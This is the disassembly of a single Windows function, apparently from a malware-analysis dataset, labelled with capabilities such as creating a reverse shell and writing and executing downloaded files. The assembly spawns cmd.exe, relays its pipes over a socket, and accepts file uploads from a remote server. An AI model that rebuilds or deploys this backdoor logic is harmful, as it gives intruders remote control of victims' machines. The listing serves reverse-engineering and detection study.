Function at 0x1400084d0
Capabilities:
Contain obfuscated stackstrings
Create pipe
Create process on windows
Create reverse shell
Create two anonymous pipes
Download and write a file
Read and send data from client to server
Read file on windows
Read pipe
Receive and write data from server to client
Receive data
Receive data on socket
Send data
Send data on socket
Write and execute a file
Write file on windows
Write pipe

Disassembly:
push rbp
push rbx
push r13
lea rbp, [rsp - 0xc0]
sub rsp, 0x1c0
mov rax, qword [0x140048040]
xor rax, rsp
mov qword [rbp + 0xa0], rax
xor r9d, r9d
mov dword [0x14005b628], 0x18
lea r8, [0x14005b628]
mov dword [0x14005b638], 1
lea rdx, [rsp + 0x68]
mov dword [rsp + 0x50], 0x74697865
lea rcx, [rsp + 0x70]
mov word [rsp + 0x54], 0xa
mov dword [rsp + 0x58], 0x54495845
mov word [rsp + 0x5c], 0xa
call qword [sym.imp.KERNEL32.dll_CreatePipe]
xor r9d, r9d
lea r8, [0x14005b628]
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
lea rbx, [0x14005b5c0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov rax, qword [rsp + 0x78]
lea rdx, [rbp - 0x78]
movups xmm0, xmmword [str.cmd.exe]
mov qword [0x14005b618], rax
xor r13d, r13d
mov qword [0x14005b620], rax
xor r9d, r9d
mov rax, qword [rsp + 0x70]
xor r8d, r8d
mov qword [0x14005b610], rax
xor ecx, ecx
lea rax, [0x14004afe0]
mov dword [0x14005b5fc], 0x101
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], reloc.WS2_32.dll_recv
mov dword [rsp + 0x20], 1
mov word [0x14005b600], r13w
movups xmmword [rbp - 0x78], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x140008604
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateProcess_failed___d_._n
call fcn.1400081b0
jmp 0x140008a5e
mov rcx, qword [0x14004afe0]
lea rdx, [0x14005b418]
mov qword [rsp + 0x1e0], rsi
mov qword [rsp + 0x1e8], rdi
mov qword [rsp + 0x1f0], r12
mov qword [rsp + 0x1b8], r14
mov qword [rsp + 0x1b0], r15
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
cmp eax, 0x103
je 0x14000896f
lea rbx, [0x14004affc]
mov r14, 0xffffffffffffffff
lea r15, [0x14004b400]
lea r12, [0x14004b000]
nop word [rax + rax]
mov ecx, 0x1f4
mov dword [0x14004aff8], r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsp + 0x60]
lea r9, [0x14004aff8]
mov r8d, 0xffff
mov qword [rsp + 0x28], r13
mov rdx, r15
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
cmp dword [0x14004aff8], r13d
je 0x140008740
mov rcx, qword [rsp + 0x60]
lea r9, [0x14004aff8]
mov r8d, 0xffff
mov qword [rsp + 0x20], r13
mov rdx, r15
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov r8, r14
inc r8
cmp byte [r15 + r8], r13b
jne 0x1400086d7
mov rcx, qword [0x14005b5b8]
xor r9d, r9d
mov rdx, r15
call qword [sym.imp.WS2_32.dll_send]
xor edx, edx
mov r8d, 0xffff
mov rcx, r15
call fcn.140034130
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsp + 0x60]
lea r9, [0x14004aff8]
mov r8d, 0xffff
mov qword [rsp + 0x28], r13
mov rdx, r15
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
cmp dword [0x14004aff8], r13d
jne 0x1400086b4
xor edx, edx
mov r8d, 0x400
mov rcx, r12
call fcn.140034130
mov rcx, qword [0x14005b5b8]
xor r9d, r9d
mov r8d, 0x400
mov rdx, r12
call qword [sym.imp.WS2_32.dll_recv]
mov r8d, 6
lea rdx, str.upload
mov rcx, r12
call fcn.140019090
test eax, eax
jne 0x1400088bf
mov rbx, qword [0x14005b5b8]
xor edx, edx
mov r8d, 0x400
mov rcx, r12
call fcn.140034130
xor r9d, r9d
lea rdx, [rbp - 0x60]
mov r8d, pe_nt_image_headers64
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jg 0x1400087c9
mov r8d, 0x19
lea rdx, str.Error_receiving_filename_n
jmp 0x1400088a7
mov edx, 0xa
lea rcx, [rbp - 0x60]
call fcn.140011608
test rax, rax
je 0x1400087df
mov byte [rax], r13b
lea rdx, [0x140041e9c]
lea rcx, [rbp - 0x60]
call fcn.140018cbc
xor r9d, r9d
mov rsi, rax
mov rcx, rbx
test rax, rax
jne 0x14000881c
mov r8d, 0x1f
lea rdx, str.Error_opening_file_for_writing_n
call qword [sym.imp.WS2_32.dll_send]
lea rbx, [0x14004affc]
jmp 0x140008950
mov r8d, reloc.WS2_32.dll_listen
lea rdx, str.File_created_n
call qword [sym.imp.WS2_32.dll_send]
xor r9d, r9d
mov r8d, 0x400
mov rdx, r12
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_recv]
mov edi, eax
test eax, eax
jle 0x140008892
nop word [rax + rax]
lea rdx, str.stop_upload
mov rcx, r12
call fcn.140011420
test rax, rax
jne 0x140008892
mov r8d, edi
mov r9, rsi
mov edx, 1
mov rcx, r12
call fcn.140019480
xor r9d, r9d
mov r8d, 0x400
mov rdx, r12
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_recv]
mov edi, eax
test eax, eax
jg 0x140008850
mov rcx, rsi
call fcn.140018fdc
mov r8d, 0x1b
lea rdx, str.File_received_successfully_n
xor r9d, r9d
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_send]
lea rbx, [0x14004affc]
jmp 0x140008950
lea r8, [rsp + 0x50]
mov rax, r12
sub r8, r12
nop word [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1400088e3
inc rax
test ecx, ecx
jne 0x1400088d0
test edx, edx
je 0x140008a80
lea r8, [rsp + 0x58]
mov rax, r12
sub r8, r12
nop word [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140008913
inc rax
test ecx, ecx
jne 0x140008900
test edx, edx
je 0x140008a80
mov r8, r14
nop
inc r8
cmp byte [r12 + r8], r13b
jne 0x140008920
mov rcx, qword [rsp + 0x68]
lea r9, [rbp - 0x80]
mov rdx, r12
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteFile]
xor edx, edx
mov r8d, 0x400
mov rcx, r12
call fcn.140034130
mov rcx, qword [0x14004afe0]
lea rdx, [0x14005b418]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
cmp eax, 0x103
jne 0x140008670
mov rcx, qword [0x14004afe8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x14004afe0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x14004afe8]
mov r15, qword [rsp + 0x1b0]
mov r14, qword [rsp + 0x1b8]
mov r12, qword [rsp + 0x1f0]
mov rdi, qword [rsp + 0x1e8]
mov rsi, qword [rsp + 0x1e0]
test rcx, rcx
je 0x1400089f6
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [0x14004afe8], r13
mov rcx, qword [0x14004afe0]
test rcx, rcx
je 0x140008a0f
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [0x14004afe0], r13
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x140008a24
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x70], r13
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x140008a39
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x68], r13
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x140008a4e
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x60], r13
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x140008a5e
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0xa0]
xor rcx, rsp
call fcn.14000f550
add rsp, 0x1c0
pop r13
pop rbx
pop rbp
ret
inc r14
cmp byte [r12 + r14], r13b
jne 0x140008a80
mov rcx, qword [rsp + 0x68]
lea r9, [rbp - 0x80]
mov r8, r14
mov qword [rsp + 0x20], r13
mov rdx, r12
call qword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x1400089b5